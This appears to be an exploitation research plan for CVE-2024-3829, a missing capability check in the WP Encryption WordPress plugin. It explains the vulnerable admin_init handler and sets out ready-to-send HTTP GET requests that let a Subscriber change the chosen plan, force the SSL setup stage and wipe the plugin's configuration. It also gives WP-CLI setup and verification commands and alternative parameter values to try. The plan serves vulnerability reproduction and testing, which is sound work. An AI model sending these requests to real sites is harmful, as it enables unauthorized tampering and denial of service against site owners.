Exploitation Research Plan: CVE-2024-3829 - WP Encryption Missing Authorization

1. Vulnerability Summary

The WP Encryption – One Click Free SSL Certificate plugin for WordPress is vulnerable to unauthorized data modification due to a missing capability check in the wple_basic_get_requests function. This function is hooked to admin_init, which executes for any authenticated user (including Subscribers) visiting an admin page (e.g., /wp-admin/index.php or /wp-admin/admin-ajax.php). Because the function lacks a current_user_can('manage_options') check, a Subscriber-level attacker can manipulate internal plugin options, reset the SSL configuration, and change the selected plugin plan.

2. Attack Vector Analysis

• Endpoint: Any URL within the /wp-admin/ directory (e.g., /wp-admin/admin.php, /wp-admin/index.php).
• Hook: admin_init (triggered by the WPLE_Admin class).
• Vulnerable Function: WPLE_Admin::wple_basic_get_requests.
• Payload Parameters:
  • wple_reset_all: Used to reset plugin settings.
  • wple_plan_choose: Used to update the plugin plan option.
  • wple_stage: Used to update the current SSL setup stage.
• Authentication: Authenticated (Subscriber or higher). No nonces are enforced on these specific GET parameters within the vulnerable function.

3. Code Flow

1. Hook Registration: In admin/le_admin.php, the WPLE_Admin class registers the handler:

   add_action( 'admin_init', [$this, 'wple_basic_get_requests'] );
   

2. Execution: When a Subscriber logs in and visits /wp-admin/, WordPress fires admin_init.
3. Missing Check: wple_basic_get_requests (located in admin/le_admin.php) processes $_GET parameters. Unlike the handlers in le_handlers.php (e.g., primary_ssl_install_request) which explicitly check for manage_options and nonces, this function proceeds directly to database operations:
   • If $_GET['wple_reset_all'] is present, it deletes/resets options.
   • If $_GET['wple_plan_choose'] is present, it calls update_option( 'wple_plan_choose', ... ).
   • If $_GET['wple_stage'] is present, it calls update_option( 'wple_stage', ... ).

4. Nonce Acquisition Strategy

The vulnerability exists because wple_basic_get_requests does not check for nonces or capabilities. Therefore, no nonce is required to exploit this specific vulnerability.

5. Exploitation Strategy

Step 1: Authentication

Log in as a Subscriber-level user.

Step 2: Plan Tampering

The attacker can change the plugin's "chosen plan" to simulate a Pro or specific state.

• Request:

  GET /wp-admin/index.php?wple_plan_choose=pro HTTP/1.1
  Host: localhost
  Cookie: [Subscriber Cookies]
  

Step 3: SSL Setup Tampering

The attacker can force the plugin to believe the SSL setup is complete.

• Request:

  GET /wp-admin/index.php?wple_stage=success HTTP/1.1
  Host: localhost
  Cookie: [Subscriber Cookies]
  

Step 4: Configuration Reset (Denial of Service)

The attacker can wipe existing SSL configurations.

• Request:

  GET /wp-admin/index.php?wple_reset_all=1 HTTP/1.1
  Host: localhost
  Cookie: [Subscriber Cookies]
  

6. Test Data Setup

1. Target: WordPress with wp-letsencrypt-ssl plugin version <= 7.8.5.10 installed and activated.
2. Setup Admin State:
   • Use wp option update wple_plan_choose "free" to set an initial state.
   • Use wp option update wple_stage "step1" to set an initial stage.
3. Attacker Account:
   • wp user create attacker attacker@example.com --role=subscriber --user_pass=password123

7. Expected Results

• After Step 2, the WordPress database should show wple_plan_choose set to pro.
• After Step 3, the WordPress database should show wple_stage set to success.
• After Step 4, plugin options like wple_opts or wple_stage should be reset or deleted.
• The HTTP response will be a standard 200 OK or 302 Redirect for a dashboard page, as the logic runs transparently in the background.

8. Verification Steps

After sending the HTTP requests, verify the changes via WP-CLI:

# Verify Plan Tampering
wp option get wple_plan_choose
# Expected output: pro

# Verify Stage Tampering
wp option get wple_stage
# Expected output: success

# Verify Reset (if wple_reset_all was sent)
wp option get wple_opts
# Expected output: Error: Could not get "wple_opts" option (or empty array)

9. Alternative Approaches

If the plugin logic requires specific values for the parameters:

1. Plan IDs: Try business, developer, or premium as values for wple_plan_choose.
2. Intermediate Stages: Set wple_stage to failed_httpverification_1 to trigger error states or specific admin notices for legitimate administrators, causing confusion or disruption.
3. Other Params: Search for other $_GET or $_REQUEST parameters in admin/le_admin.php that do not have current_user_can guards.